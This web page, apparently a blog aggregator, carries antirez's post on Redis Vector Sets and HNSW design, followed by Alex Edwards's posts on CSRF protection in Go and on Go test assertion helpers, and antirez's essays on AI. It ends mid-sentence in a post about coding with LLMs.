and if this is not true there are other ways to force a new node to have at least a minimal number of links, always trying to satisfy the small world property of the graph. This way, when Redis deletes a node from a Vector Set, it always has a way to remove all the pointers to it. However, what to do with the remaining nodes that now are missing a link? What I do is to create a distance matrix among them, in order to try to link the old node neighbors among them, trying to minimize the average distance. Basically for each pair of i,j nodes in our matrix, we calculate how good is their connection (how similar their vectors are) and how badly linking them affects the *remaining* possible pairs (since there could be elements left without good pairs, if we link two specific nodes). After we build this matrix of scores, we then proceed with a greedy pairing step. This works so well that you can build a large HNSW with millions of elements, later delete 95% of all your elements, and the remaining graph still has good recall and no isolated nodes and so forth. That is what I mean when I say that there is space in HNSWs for new papers to continue the work. ## Scaling HNSWs to multiple processes When I started to work at Redis Vector Sets, there was already a vector similarity implementation in Redis-land, specifically as an index type of RediSearch, and this is how most people think at HNSWs: a form of indexing of existing data. Yet I wanted to provide Redis with a new HNSW implementation exposed in a completely different way. Guess how? As a data structure, of course. And this tells a story about how Redis-shaped is my head after so many years, or maybe it was Redis-shaped since the start, and it is Redis that is shaped after my head, since I immediately envisioned how to design a Redis data structure that exposed HNSWs to the users, directly, and I was puzzled that the work with vectors in Redis was not performed exactly like that. At the same time, when I handed my design document to my colleagues at Redis, I can’t say that they immediately “saw” it as an obvious thing. My reasoning was: vectors are like scores in Redis Sorted Sets, except they are not scalar scores where you have a total order. Yet you can VADD, VREM, elements, and then you can call VSIM instead of ZRANGE in order to have *similar* elements. This made sense not just as an API, but I thought of HNSWs as strongly composable, and not linked to a specific use case (not specific to text embeddings, or image embeddings, or even *learned* embeddings necessarily). You do: VADD my_vector_set VALUES [… components …] my_element_string So whatever is in your components, Redis doesn't care, when you call VSIM it will report similar elements. But this also means that, if you have different vectors about the same use case split in different instances / keys, you can ask VSIM for the same query vector into all the instances, and add the WITHSCORES option (that returns the cosine distance) and merge the results client-side, and you have magically scaled your hundred of millions of vectors into multiple instances, splitting your dataset N times [One interesting thing about such a use case is that you can query the N instances in parallel using multiplexing, if your client library is smart enough]. Another very notable thing about HNSWs exposed in this raw way, is that you can finally scale writes very easily. Just hash your element modulo N, and target the resulting Redis key/instance. Multiple instances can absorb the (slow, but still fast for HNSW standards) writes at the same time, parallelizing an otherwise very slow process. This way of exposing HNSWs also scales down in a very significant way: sometimes you want an HNSW for each user / item / product / whatever you are working with. This is very hard to model if you have an index on top of something, but it is trivial if your HNSWs are data structures. You just can have a Vector Set key for each of your items, with just a handful of elements. And of course, like with any other Redis key, you can set an expiration time on the key, so that it will be removed automatically later. All this can be condensed into a rule that I believe should be more present in our industry: many programmers are smart, and if instead of creating a magic system they have no access to, you show them the data structure, the tradeoffs, they can build more things, and model their use cases in specific ways. And your system will be simpler, too. ## Scaling loading times If I don’t use threading, my HNSW library can add word2vec (300 components for each vector) into an HNSW at 5000 elements/second if I use a single thread, and can query the resulting HNSW at 90k queries per second. As you can see there is a large gap. This means that loading back an HNSW with many millions of elements from a Redis dump file into memory would take a lot of time. And this time would impact replication as well. Not great. But, this is true only if we add elements from the disk to the memory in the most trivial way, that is storing “element,vector” on disk and then trying to rebuild the HNSW in memory. There is another lesson to learn here. When you use HNSWs, you need to serialize the nodes and the neighbors as they are, so you can rebuild everything in memory just allocating stuff and turning neighbors IDs into pointers. This resulted in a 100x speedup. But do you really believe the story ends here? Hehe. Recently Redis has stronger security features and avoids doing bad things even when the RDB file is corrupted by an attacker. So what I needed to do was to make sure the HNSW is valid after loading, regardless of the errors and corruption in the serialized data structure. This involved many tricks, but I want to take the freedom to just dump one comment I wrote here, as I believe the reciprocal check is particularly cool: /* Second pass: fix pointers of all the neighbors links. * As we scan and fix the links, we also compute the accumulator * register "reciprocal", that is used in order to guarantee that all * the links are reciprocal. * * This is how it works, we hash (using a strong hash function) the * following key for each link that we see from A to B (or vice versa): * * hash(salt || A || B || link-level) * * We always sort A and B, so the same link from A to B and from B to A * will hash the same. Then we xor the result into the 128 bit accumulator. * If each link has its own backlink, the accumulator is guaranteed to * be zero at the end. * * Collisions are extremely unlikely to happen, and an external attacker * can't easily control the hash function output, since the salt is * unknown, and also there would be to control the pointers. * * This algorithm is O(1) for each node so it is basically free for * us, as we scan the list of nodes, and runs on constant and very * small memory. */ ## Scaling use cases: JSON filters I remember the day when the first working implementation of Vector Sets felt complete. Everything worked as expected and it was the starting point to start with the refinements and the extra features. However in the past weeks and months I internally received the feedback that most use cases need some form of mixed search: you want near vectors to a given query vector (like most similar movies to something) but also with some kind of filtering (only released between 2000 and 2010). My feeling is that you need to query for different parameters less often than product people believe, and that most of the time you can obtain this more efficiently by adding, in this specific case, each year to a different vector set key (this is another instance of the composability of HNSWs expressed as data structures versus a kind of index). However I was thinking about the main loop of the HNSW greedy search, that is something like this: // Simplified HNSW greedy search algorithm. Don’t trust it too much. while(candidates.len() > 0) { c = candidates.pop_nearest(query); worst_distance = results.get_worst_dist(query); if (distance(query,c) > worst_distance) break; foreach (neighbor from c) { if (neighbor.already_visited()) continue; neighbor.mark_as_visited(); if (results.has_space() OR neighbor.distance(query) candidates.add(neighbor); results.add(neighbor); } } } return results; So I started to play with the idea of adding a JSON set of metadata for each node. What if, once I have things like {“year”: 1999}, this was enough to filter while I perform the greedy search? Sure, the search needed to be bound, but there is a key insight here: I want, to start, elements that are *near* to the query vector, so I don’t really need to explore the whole graph if the condition on the JSON attributes is not satisfied by many nodes. I’ll let the user specify the effort, and anyway very far away results that match the filter are useless. So that’s yet another way how my HNSW differs: it supports filtering by expressions similar to the ones you could write inside an “if” statement of a programming language. And your elements in the Vector Set can be associated with JSON blobs, expressing their properties. Then you can do things like: VSIM movies VALUES … your vector components here… FILTER '.year >= 1980 and .year ## A few words on memory usage HNSW’s fatal issue is — in theory — that they are normally served from memory. Actually, you can implement HNSWs on disk, even if there are better data structures from the point of view of disk access latencies. However, in the specific case of Redis and Vector Sets the idea is to provide something that is very fast, easy to work with: the flexibility of in-memory data structures help with that. So the question boils down to: is the memory usage really so bad? Loading the 3 million Word2Vec entries into Redis with the default int8 quantization takes 3GB of RAM, 1kb for each entry. Many use cases have just a few tens of million of entries, or a lot less. And what you get back from HNSWs, if well implemented, and in memory, is very good performance, which is crucial in a data structure and in a workload that is in itself slow by definition. In my MacBook I get 48k ops per second with redis-benchmark and VSIM against this key (holding the word2vec dataset). My feeling is that the memory usage of in-memory HNSWs is very acceptable for many use cases. And even in the use cases where you want the bulk of your vectors on disk, even if there is to pay for slower performance, your hot set should likely be served from RAM. This is one of the reasons why I believe that, to be active in HNSW research is a good idea: I don’t think they will be replaced anytime soon for most use cases. It seems more likely that we will continue to have different data structures that are ideal for RAM and for disk depending on the use cases and data size. Moreover, what I saw recently, even just scanning the Hacker News front page, is people with a few millions of items fighting with systems that are slower or more complicated than needed. HNSWs and carefully exposing them in the right way can avoid all that. ## Conclusions I like HNSWs, and working and implementing them was a real pleasure. I believe vectors are a great fit for Redis, even in an AI-less world (for instance, a few months ago I used them in order to fingerprint Hacker News users, replicating an old work published on HN in the past). HNSWs are simply too cool and powerful for a number of use cases, and with AI, and learned embeddings, all this escalates to a myriad of potential use cases. However, like most features in Redis, I expect that a lot of time will pass before people realize they are useful and powerful and how to use them (no, it’s not just a matter of RAG). This happened also with Streams: finally there is mass adoption, after so many years. If instead you are more interested in HNSW and the implementation I wrote, I believe the code is quite accessible, and heavily commented: https://github.com/redis/redis/blob/unstable/modules/vector-sets/hnsw.c If you want to learn more about Redis Vector Sets, please feel free to read the README file I wrote myself. There is also the official Redis documentation, but I suggest you start from here: https://github.com/redis/redis/tree/unstable/modules/vector-sets Thanks for reading such a long blog post! And have a nice day. References. This is the paper about the "H" in HNSW and how useful it is -> https://arxiv.org/abs/2412.01940 Comments

• A modern approach to preventing CSRF in Go
  Alex Edwards · Oct 14, 2025

  Go 1.25 introduced a new http.CrossOriginProtection middleware to the standard library — and it got me wondering: Have we finally reached the point where CSRF attacks can be prevented without relying on a token-based check (like double-submit cookies)? Can we build secure web applications without bringing in third-party packages like justinas/nosurf or gorilla/csrf? And I think the answer now may be a cautious “yes” — so long as a few important conditions are met. If you want to skip the explanations and just want to see what those conditions are, you can click here. The http.CrossOriginProtection middleware The new http.CrossOriginProtection middleware works by checking the values in a request's Sec-Fetch-Site and Origin headers to determine where the request is coming from. It will automatically reject any non-safe requests that are not from the same origin, and will send the client a 403 Forbidden response. The http.CrossOriginProtection middleware has some limitations, which we'll discuss in a moment, but it is robust and simple to use, and a great addition to the standard library. How it works Modern browsers automatically include the Sec-Fetch-Site header in requests. This header indicates the relationship between the origin of the page making the request, and the origin of the page being requested. Two pages are considered to have the same origin if their scheme, hostname and port (if present) exactly match, in which case the browser will include a Sec-Fetch-Site: same-origin header in the request. If the two pages don't have the same origin, the Sec-Fetch-Site header will be set to a different value to indicate this, and http.CrossOriginProtection will reject the request. If no Sec-Fetch-Site header is present, http.CrossOriginProtection will fall back to checking the Origin header. Specifically, it will compare the request's Origin header and Host header to see if they match. If they don't match, then it considers the request to not be from the same origin and it will reject it. If neither the Sec-Fetch-Site nor Origin headers are present, then it assumes the request is not coming from web browser and will always allow the request to proceed. The checks described above only take place on requests with non-safe methods (POST, PUT, etc.). Requests with safe HTTP methods (GET, OPTIONS, etc.) are always allowed to proceed. If you're interested in learning more about the design and decision making behind http.CrossOriginProtection, the original proposal by Filippo Valsorda is an excellent read. At its simplest, you can use it like this: File: main.go package main import ( "fmt" "log/slog" "net/http" "os" ) func main() { mux := http.NewServeMux() mux.HandleFunc("/", home) slog.Info("starting server on :4000") // Wrap the mux with the http.NewCrossOriginProtection middleware. err := http.ListenAndServe(":4000", http.NewCrossOriginProtection().Handler(mux)) if err != nil { slog.Error(err.Error()) os.Exit(1) } } func home(w http.ResponseWriter, r *http.Request) { fmt.Fprint(w, "Hello!") } If you want, it's also possible to configure the behavior of http.CrossOriginProtection. Configuration options include being able to add trusted origins (from which cross-origin requests are allowed), and the ability to use a custom handler for rejected requests instead of the default 403 Forbidden response. When I've wanted to customize the behavior, I've been using a pattern like this: File: main.go package main import ( "fmt" "log/slog" "net/http" "os" ) func main() { mux := http.NewServeMux() mux.HandleFunc("/", home) slog.Info("starting server on :4000") err := http.ListenAndServe(":4000", preventCSRF(mux)) if err != nil { slog.Error(err.Error()) os.Exit(1) } } func preventCSRF(next http.Handler) http.Handler { cop := http.NewCrossOriginProtection() cop.AddTrustedOrigin("https://foo.example.com") cop.SetDenyHandler(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusBadRequest) w.Write([]byte("CSRF check failed")) })) return cop.Handler(next) } func home(w http.ResponseWriter, r *http.Request) { fmt.Fprint(w, "Hello!") } Limitations The big limitation of http.CrossOriginProtection is that it is only effective at blocking requests from modern browsers. Your application will still be vulnerable to CSRF attacks coming from older (generally pre-2020) browsers which do not include at least one of the Sec-Fetch-Site or Origin headers in requests. Right now, browser support for the Sec-Fetch-Site header is at 92%, and for Origin it is 95%. So — in general — relying on http.CrossOriginProtection is not sufficient as your only protection against CSRF. It's also important to note that the Sec-Fetch-Site header is only sent when your application has a "trustworthy origin" — which basically means that your application needs to be using HTTPS in production (or localhost in development) for http.CrossOriginProtection to work to its full potential. And you should also be aware that when no Sec-Fetch-Site header is present in a request, and it falls back to comparing the Origin and Host headers, the Host header does not include the scheme. This limitation means that http.CrossOriginProtection will wrongly allow cross-origin requests from http://{host} to https://{host} when there is no Sec-Fetch-Site header present but there is an Origin header. To mitigate this risk, you should ideally configure your application to use HTTP Strict Transport Security (HSTS). Enforcing TLS 1.3 Looking into this got me wondering... What if you're already planning to use HTTPS and enforce TLS 1.3 as the minimum supported TLS version? Could you be confident that all web browsers which support TLS 1.3 also support either the Sec-Fetch-Site or Origin headers? As far as I can tell from the MDN compatibility data and tables from Can I Use, the answer is "yes" for (almost) all major browsers. If you enforce TLS 1.3 as the minimum version: Older browsers which don't support TLS 1.3 simply won't be able to connect to your application. For the modern major browsers that do support TLS 1.3 and can connect, you can be confident that at least one of the Sec-Fetch-Site or Origin headers are supported — and therefore http.CrossOriginProtection will work effectively. The only exception to this I can see is Firefox v60-69 (2018-2019), which did not support the Sec-Fetch-Site header and did not send the Origin header for POST requests. This means that http.CrossOriginProtection will not work effectively to block requests originating from that browser. Can I Use puts usage of Firefox v60-69 at 0%, so the risk here appears very low — but there are probably some computers somewhere in the world still running it. Also, we only have this information for the major browsers — Chrome/Chromium, Firefox, Edge, Safari, Opera and Internet Explorer. But of course, other browsers exist. Most of them are forks of Chromium or Firefox and therefore will likely be OK, but there's no guarantee here and it is hard to quantify the risk. So if you use HTTPS and enforce TLS 1.3, it's a huge step forward in making sure that http.CrossOriginProtection can work effectively. However, there remains a non-zero risk that comes from Firefox v60-69 and non-major browsers, so you may want to add some defense-in-depth and utilize SameSite cookies too. We'll talk more about SameSite cookies in a moment, but first we need to take a quick detour and discuss the difference between the terms origin and site. Cross-site vs cross-origin In the world of web specifications and web browsers, cross-site and cross-origin are subtly different things, and in a security context like this it's important to understand the difference and be exact about what we mean. I'll quickly explain. Two websites have the same origin if they share the exact same scheme, hostname, and port (if present). So https://example.com and https://www.example.com are not the same origin because the hostnames (example.com and www.example.com) are different. A request between them would be cross-origin. Two websites are 'same site' if they share the same scheme and registerable domain. Note: The registerable domain is the part of the hostname just before (and including) the effective TLD. Here are a few examples: For https://www.google.com/ the TLD is com and the registerable domain is google.com. For https://login.mail.ucla.edu the TLD is edu and the registerable domain is ucla.edu. For https://www.gov.uk, the TLD is gov.uk and the registerable domain is www.gov.uk. You can find the complete list of effective TLDs here. So https://example.com, https://www.example.com and https://login.admin.example.com are all considered to be the same site because the scheme (https) and registerable domain (example.com) are the same. A request between these would not be considered to be cross-site, but it would be cross-origin. Note: Some browser versions use a different definition of same-site which doesn't require the same scheme, only the same registrable domain. For these browser versions, https://admin.example.com and http://blog.example.com would also be considered same-site. Nowadays, this is typically referred to as schemaless same-site, but in historical versions or documentation it may have just been called same-site. So what are the points that I'm building up to here? Go's http.CrossOriginProtection middleware is accurately and appropriately named. It blocks cross-origin requests. It's more strict than it would be if it only blocked cross-site requests, because it also blocks requests from other origins under the same site (i.e. registrable domain). This is useful because it helps to prevent a situation where your janky-not-been-updated-in-the-last-decade WordPress blog at https://blog.example.com is compromised and used to launch a request forgery attack at your important https://admin.example.com website. When most people — myself included — casually talk about "CSRF attacks", what we are referring to most of the time is actually cross-origin request forgery, not just cross-site request forgery. It's a shame that CSRF is the commonly used and known acronym to describe this family of attacks, because most of the time CORF would be more accurate and appropriate. But hey! That's the messy world we live in. For the rest of this post though, I'll use the term CORF instead of CSRF when that is exactly what I mean. SameSite cookies The SameSite cookie attribute has generally been supported by web browsers since 2017, and by Go since v1.11. If you set the SameSite=Lax or SameSite=Strict attributes on a cookie, that cookie will only be included in requests to the same site that set it. In turn, that prevents cross-site request forgery attacks (but not cross-origin attacks from within the same site). There is some good news here — all major browsers that support TLS 1.3 also fully support SameSite cookies, with no exceptions that I can see. So if you enforce TLS 1.3, you can be confident that all the major browsers using your application will respect the SameSite attribute. This means that by using SameSite=Lax or SameSite=Strict on your cookies, you cover off the risk of cross-site request forgeries from Firefox v60-69 that we talked about earlier. Putting it all together If you combine using HTTPS, enforcing TLS 1.3 as the minimum version, using SameSite=Lax or SameSite=Strict cookies appropriately, and using the http.CrossOriginProtection middleware in your application, as far as I can see there are only two unmitigated CSRF/CORF risks from major browsers: CORF attacks from within the same site (i.e. from another subdomain under your registrable domain) in Firefox v60-69. CORF attacks from a HTTP version of your origin, from browsers that do not support the Sec-Fetch-Site header. For the first of these risks, if you don't have any other websites under your registrable domain, or you're confident that the websites are secure and uncompromised, then this might be a risk that you're willing to accept given the extremely low usage of Firefox v60-69. For the second, if you don't support HTTP on your origin at all (including redirects) then this isn't something you need to worry about. Otherwise, you can mitigate the risk by including a HSTS header on your HTTPS responses. At the start of this article, I said that not using a token-based CSRF check might be OK under certain conditions. So let's run through what those are: Your application uses HTTPS and enforces TLS 1.3 as the minimum version. You accept that users with older browsers will not be able to connect to your application at all. You follow good-practice and never change important application state in response to requests with the safe methods GET, HEAD, OPTIONS or TRACE. You use both the http.CrossOriginProtection middleware and SameSite=Lax or SameSite=Strict cookies. It's important to still use SameSite cookies for general defense in depth, but more specifically to mitigate CSRF attacks from Firefox v60-69. Because of the unprotected risk of a same-site CORF attack from Firefox v60-69, you either don't have any other websites under your registrable domain, or you're confident that they're secure and uncompromised. There is either no HTTP version of your application origin at all, or you include a HSTS header on your HTTPS responses. Finally, you are willing to accept the difficult-to-quantify risk of CSRF/CORF attacks from non-major browsers that support TLS 1.3 but don't support the Origin header, Sec-Fetch-Site header or SameSite cookies. Does any such browser exist? I don't know, and I'm not sure there's a way to answer that question with 100% confidence. So you'll need to do your own risk assessment here, and it's a risk that you probably only want to accept if your application is a low-value target and the impact of a successful CSRF/CORF attack is both isolated and minor.

• The 9 Go test assertions I use (and why)
  Alex Edwards · Aug 22, 2025

  A few weeks ago Anton Zhiyanov published the blog post Expressive tests without testify/assert. It's a good and well thought-out post, and I recommend giving it a read if you haven't already. In the post, Anton makes the argument for not using packages like testify/assert for your test assertions, and instead creating your own minimal set of assertion helpers to use in your tests. In fact, so minimal that there are only 3 helpers he uses: AssertEqual, AssertErr and AssertTrue. There are some people who would argue that even this is too much, and that you shouldn't use assertion functions in your tests at all. In fact, the Go Code Review Comments for Tests states that using assert packages should be avoided, which we'll talk about in more detail at the end of this post. But I agree with the general direction of Anton's thinking. I do use assertion functions — and I've always preferred to write my own rather than using a third-party package. Over time I've whittled them down to a standard collection of nine basic functions that I use: Assertion What it checks Equal(got, want) Checks that got and want are equal NotEqual(got, want) Checks that got and want are not equal True(got) Checks that got is true False(got) Checks that got is false Nil(got) Checks that got is nil NotNil(got) Checks that got is not nil ErrorIs(got, want) Checks that got is an error that wraps or equals want ErrorAs(got, target) Checks that got is an error that can be assigned to target via errors.As MatchesRegexp(got, pattern) Checks that got matches the regex pattern Between these nine functions, I'm able to easily do the vast majority of the checks that I want in my tests. Here are some examples from a web application that I'm currently working on: assert.Equal(t, w.StatusCode, http.StatusTeapot) assert.Equal(t, w.Header().Get("X-Custom-Header"), "custom-value") assert.NotEqual(t, updatedSession.token, originalSession.token) assert.True(t, defaultShutdownPeriod > defaultWriteTimeout) assert.True(t, strings.Contains(buf.String(), "level=ERROR")) assert.False(t, strings.Contains(string(decodedCookieValue), "this is a test value")) assert.Nil(t, err) assert.ErrorIs(t, err, sql.ErrNoRows) assert.MatchesRegexp(t, user.HashedPassword, `^\$2a\$12\$[./0-9A-Za-z]{53}$`) From the perspective of someone reading the code, I think it's quite easy to understand what these assertions are checking — even if you've never seen them before. And this might be personal preference, but when writing tests I actually prefer having only a small number of basic assertion functions to remember and pick from, rather than lots of very specific ones. If there is a complex check, which can't be done in a single line as part of the function call, I normally create an additional function and use it in conjunction with the True or False assertions. For example, when testing a web application, I will sometimes want to check if an HTML response body contains a specific HTML node (based on a CSS selector), so I will make a containsHTMLNode() function and then use it in my tests like this: assert.True(t, containsHTMLNode(t, res.Body, `meta[name="page"][content="home"]`)) assert.True(t, containsHTMLNode(t, res.Body, `form[method="POST"][action="/login"]`)) In theory, these assertion helpers could be reduced further. For example, the Nil(got) and NotNil(got) functions could be dropped in favour of using Equal(got, nil) and NotEqual(got, nil). Or MatchesRegexp(got, pattern) could be dropped in favour of using True() to check that a got value matches a specific regexp pattern. But these are checks I use often enough that I like having a specific assertion function for them. Go back to Anton's post for a moment, he effectively combines the assert.Nil(), assert.NotNil(), assert.ErrorIs() and assert.ErrorAs() functions that I have into a single AssertErr() function. The exact kind of check that is carried out by AssertErr() depends on what arguments you pass, or don't pass, to it. However, I prefer assertion functions to be responsible for checking one specific thing. I think it's less prone to mistakes, as well as clearer for a reader exactly what is being checked. Overall, I'm happy to have a few more assertion functions in exchange for some extra convenience, clarity and precision. Here's the complete code that I'm currently using for those functions: package assert import ( "errors" "reflect" "regexp" "testing" ) func Equal[T any](t *testing.T, got, want T) { t.Helper() if !isEqual(got, want) { t.Errorf("got: %v; want: %v", got, want) } } func NotEqual[T any](t *testing.T, got, want T) { t.Helper() if isEqual(got, want) { t.Errorf("got: %v; expected values to be different", got) } } func True(t *testing.T, got bool) { t.Helper() if !got { t.Errorf("got: false; want: true") } } func False(t *testing.T, got bool) { t.Helper() if got { t.Errorf("got: true; want: false") } } func Nil(t *testing.T, got any) { t.Helper() if !isNil(got) { t.Errorf("got: %v; want: nil", got) } } func NotNil(t *testing.T, got any) { t.Helper() if isNil(got) { t.Errorf("got: nil; want: non-nil") } } func ErrorIs(t *testing.T, got, want error) { t.Helper() if !errors.Is(got, want) { t.Errorf("got: %v; want: %v", got, want) } } func ErrorAs(t *testing.T, got error, target any) { t.Helper() if got == nil { t.Errorf("got: nil; want assignable to: %T", target) return } if !errors.As(got, target) { t.Errorf("got: %v; want assignable to: %T", got, target) } } func MatchesRegexp(t *testing.T, got, pattern string) { t.Helper() matched, err := regexp.MatchString(pattern, got) if err != nil { t.Fatalf("unable to parse regexp pattern %s: %s", pattern, err.Error()) return } if !matched { t.Errorf("got: %q; want to match %q", got, pattern) } } func isEqual[T any](got, want T) bool { if isNil(got) && isNil(want) { return true } if equalable, ok := any(got).(interface{ Equal(T) bool }); ok { return equalable.Equal(want) } return reflect.DeepEqual(got, want) } func isNil(v any) bool { if v == nil { return true } rv := reflect.ValueOf(v) switch rv.Kind() { case reflect.Chan, reflect.Func, reflect.Interface, reflect.Map, reflect.Pointer, reflect.Slice: return rv.IsNil() } return false } Are assertion functions an anti-pattern? As I mentioned at the start of this post, the Go Wiki says that using assert packages should be avoided. It starts with this example of some 'bad' test code: assert.IsNotNil(t, "obj", obj) assert.StringEq(t, "obj.Type", obj.Type, "blogPost") assert.IntEq(t, "obj.Comments", obj.Comments, 2) assert.StringNotEq(t, "obj.Body", obj.Body, "") And suggests this as a 'good' alternative: if obj == nil || obj.Type != "blogPost" || obj.Comments != 2 || obj.Body == "" { t.Errorf("AddPost() = %+v", obj) } Let's quickly run through the arguments in the Go Wiki for these approaches being good and bad. [The bad code] either stops the test early (if assert calls t.Fatalf or panic) or omits interesting information about what the test got right There are packages out there (such as testify/require) that will stop a test early on the first assertion failure, and when they do you lose information about what subsequent checks would have passed. But not all of them do this, and if you make your own helpers for test assertions, you control what they do. You can call t.Errorf() to record the failure and continue the test if you want to. [The bad code] also forces the assert package to create a whole new sub-language instead of reusing the existing programming language (Go itself) I think this is a valid point and worth keeping in mind. Sometimes it can be frustrating to have to learn how a third-party package works, and to remember its API and syntax. And if the package is used in a project that lots of people work on, you're forcing all of them to spend the time to learn it. Sometimes it's easier to just read and write Go code that uses the standard library — even if it means you end up with more lines of code. But that said, I'm not sure that having a small number of basic assertion functions adds that much overhead... even for new people working on a codebase. Does having 3 assertion helpers like Anton, or 9 like me, really count as creating a whole new sub-language? Even if you argue that it does, it's a very small sub-language. Assert libraries make it too easy to write imprecise tests I think this is a good point in some — but not all — cases. If you're using a package that does different kinds of assertion checks in the same function (e.g. depending on the type of the argument passed to it, or the presence or not of a variadic argument) then yes, it's possible to see how it potentially increases the risk of bugs or a loss of precision in your tests. But if the assertion function checks one thing and one thing only, I don't see how it would be less precise. The assert.Equal() function that I use is a good example of this. It's imprecise because it checks whether both values are nil or whether both are the same based on an Equals() method or they are equal according to reflect.DeepEqual(). The ors introduce a subtle loss of precision that wouldn't exist if we were only checking one of those things. However, the go-cmp/cmp.Equal function, which the Go Wiki goes on to recommend using for equality checks, is imprecise in a similar way. I'm not sure that the assert.Equal() code above is really any worse in this sense. [Assert libraries] inevitably end up duplicating features already in the language, like expression evaluation, comparisons, sometimes even more. Yes. And I think this is why my preference is to use a small set of very basic assertions, like assert.Equal() and assert.True(). It means that I can write assertions like assert.True(t, len(mySlice) > 3) or assert.False(t, strings.Contains(name, "admin")) using the normal Go functions and operators. I don't get stuck down a rabbit hole implementing helpers like assert.SliceLengthGreaterThan() or assert.StringDoesNotContain() for every kind of check I need to do. On the flip side, the Go Wiki doesn't provide balance and mention the upsides of using assertion helpers, which is a shame. In terms of developer experience, I suspect that even the most hardened Gopher would agree that writing three lines of code like this: assert.Equal(t, w.StatusCode, http.StatusTeapot) assert.ErrorIs(t, err, sql.ErrNoRows) assert.True(t, defaultShutdownPeriod > defaultWriteTimeout) Is a faster and more enjoyable experience than writing the equivalent code like this: if w.StatusCode != http.StatusTeapot { t.Errorf("got %d; want %d", w.StatusCode, http.StatusTeapot) } if !errors.Is(err, sql.ErrNoRows) { t.Errorf("got error %q; want error to be or wrap %q", err.String(), sql.ErrNoRows) } if defaultShutdownPeriod Not only is the code shorter, but it takes away the cognitive overhead of having to write a failure message for each check. Which is both good and bad. I find it good because it frees up my brain to focus on arguably the most important thing — which is the logic of the test and what is being tested. When I'm thinking about test logic, I don’t want to get distracted trying to craft a perfect failure message, or having to look up for the 100th time whether it is got before want or want before got. Being able to type out assertions quickly, without losing my train of thought, is something that I really value and appreciate. And it's bad, because having useful and thoughtful failure messages can make debugging a problem easier. Getting a failure message that reads like this: --- FAIL: TestServerConfiguration (0.00s) — FAIL: TestServerConfiguration/Default_timeouts_are_reasonable (0.00s) server_test.go:24: default shutdown period 5s must be greater than default write timeout 10s Is much better than using an assert.True() helper and getting a failure message like this: --- FAIL: TestServerConfiguration (0.00s) — FAIL: TestServerConfiguration/Default_timeouts_are_reasonable (0.00s) server_test.go:22: got: false; want: true In this second example, all you have to go on to start debugging the failure is the file name and line number of the check — it doesn't even include the value that caused the check to fail. I do think this, in particular, is a genuine downside of the assert.True() and assert.False() helpers that I use. Summary I've found that the nine assertion helpers I shared above have worked well for me in a variety of projects — and they might work well for you too. But ultimately whether they are the right fit depends on your preferences, your team members, and the specific project. If you use a small collection of basic assertion functions like this, rather than a large third-party package, then I think that most of the criticisms that the Go Wiki makes of assert packages don't really apply. But you still need to accept that the failure messages printed by assertion functions may not be as helpful as a tailored, specific, failure message would be. On the plus side, they make for a good developer experience when writing tests. I particularly appreciate that they are quick to write and allow my mind to stay focused on the logic of what I'm testing. And on balance, anything that encourages me to write more tests is probably a good thing : )

• AI is different
  Antirez · Aug 13, 2025

  Regardless of their flaws, AI systems continue to impress with their ability to replicate certain human skills. Even if imperfect, such systems were a few years ago science fiction. It was not even clear that we were so near to create machines that could understand the human language, write programs, and find bugs in a complex code base: bugs that escaped the code review of a competent programmer. Since LLMs and in general deep models are poorly understood, and even the most prominent experts in the field failed miserably again and again to modulate the expectations (with incredible errors on both sides: of reducing or magnifying what was near to come), it is hard to tell what will come next. But even before the Transformer architecture, we were seeing incredible progress for many years, and so far there is no clear sign that the future will not hold more. After all, a plateau of the current systems is possible and very credible, but it would likely stimulate, at this point, massive research efforts in the next step of architectures. However, if AI avoids plateauing long enough to become significantly more useful and independent of humans, this revolution is going to be very unlike the past ones. Yet the economic markets are reacting as if they were governed by stochastic parrots. Their pattern matching wants that previous technologies booms created more business opportunities, so investors are polarized to think the same will happen with AI. But this is not the only possible outcome. We are not there, yet, but if AI could replace a sizable amount of workers, the economic system will be put to a very hard test. Moreover, companies could be less willing to pay for services that their internal AIs can handle or build from scratch. Nor is it possible to imagine a system where a few mega companies are the only providers of intelligence: either AI will be eventually a commodity, or the governments would do something, in such an odd economic setup (a setup where a single industry completely dominates all the others). The future may reduce the economic prosperity and push humanity to switch to some different economic system (maybe a better system). Markets don’t want to accept that, so far, and even if the economic forecasts are cloudy, wars are destabilizing the world, the AI timings are hard to guess, regardless of all that stocks continue to go up. But stocks are insignificant in the vast perspective of human history, and even systems that lasted a lot more than our current institutions eventually were eradicated by fundamental changes in the society and in the human knowledge. AI could be such a change. Comments

• Coding with LLMs in the summer of 2025 (an update)
  Antirez · Jul 20, 2025

  Frontier LLMs such as Gemini 2.5 PRO, with their vast understanding of many topics and their ability to grasp thousands of lines of code in a few seconds, are able to extend and amplify the programmer capabilities. If you are able to describe problems in a clear way and, if you are able to accept the back and forth needed in order to work with LLMs, you can reach incredible results such as: 1. Eliminating bugs you introduced in your code before it ever hits any user: I experienced this with Vector Sets implementation of Redis. I would end eliminating all the bugs eventually, but many were just removed immediately by Gemini / Claude code reviews. 2. Explore faster how a given idea could work, by letting the LLM write the throw away code to test ASAP in order to see if a given solution is actually more performant, if it is good enough, and so forth. 3. Engage in pair-design activities where your instinct, experience, design taste can be mixed with the PhD-level knowledge encoded inside the LLM. In this activity, the LLM will sometimes propose stupid paths, other times incredibly bright ideas: you, the human, are there in order to escape local minimal and mistakes, and exploit the fact your digital friend knows of certain and various things more than any human can. 4. Accelerate your work by writing part of the code under your clear specifications. 5. Work with technologies far from your expertise but contiguous with what you can do (for instance: coding in 68000 assembly for an Amiga demo?) using LLMs as an extension of specific parts of your mind, for the knowledge you don't have. One and half years ago I wrote a blog post called “LLMs and programming in the first days of 2024”. There, I found LLMs to be already useful, but during these 1.5 years, the progresses they made completely changed the game. However, in order to leverage their capabilities, humans interacting with LLMs must have certain qualities and follow certain practices. Let’s explore them. ## Refuse vibe coding most of the times In this historical moment, LLMs are good amplifiers and bad one-man-band workers. There are still small throwaway projects where letting the LLM write all the code makes sense, like tests, small utilities of a few hundreds lines of codes. But while LLMs can write part of a code base with success (under your strict supervision, see later), and produce a very sensible speedup in development (or, the ability to develop more/better in the same time used in the past — which is what I do), when left alone with nontrivial goals they tend to produce fragile code bases that are larger than needed, complex, full of local minima choices, suboptimal in many ways. Moreover they just fail completely when the task at hand is more complex than a given level. Tomorrow all this may change, but right now after daily experience writing code with LLMs I strongly believe the maximum quality of work is reached using the human+LLM equation. I believe that humans and LLMs together are more productive than just humans, but this requires a big “if”, that is, if such humans have extensive communication capabilities and LLMs experiences: the ability to communicate efficiently is a key factor in using LLMs. ## Provide large context When your goal is to reason with an LLM about 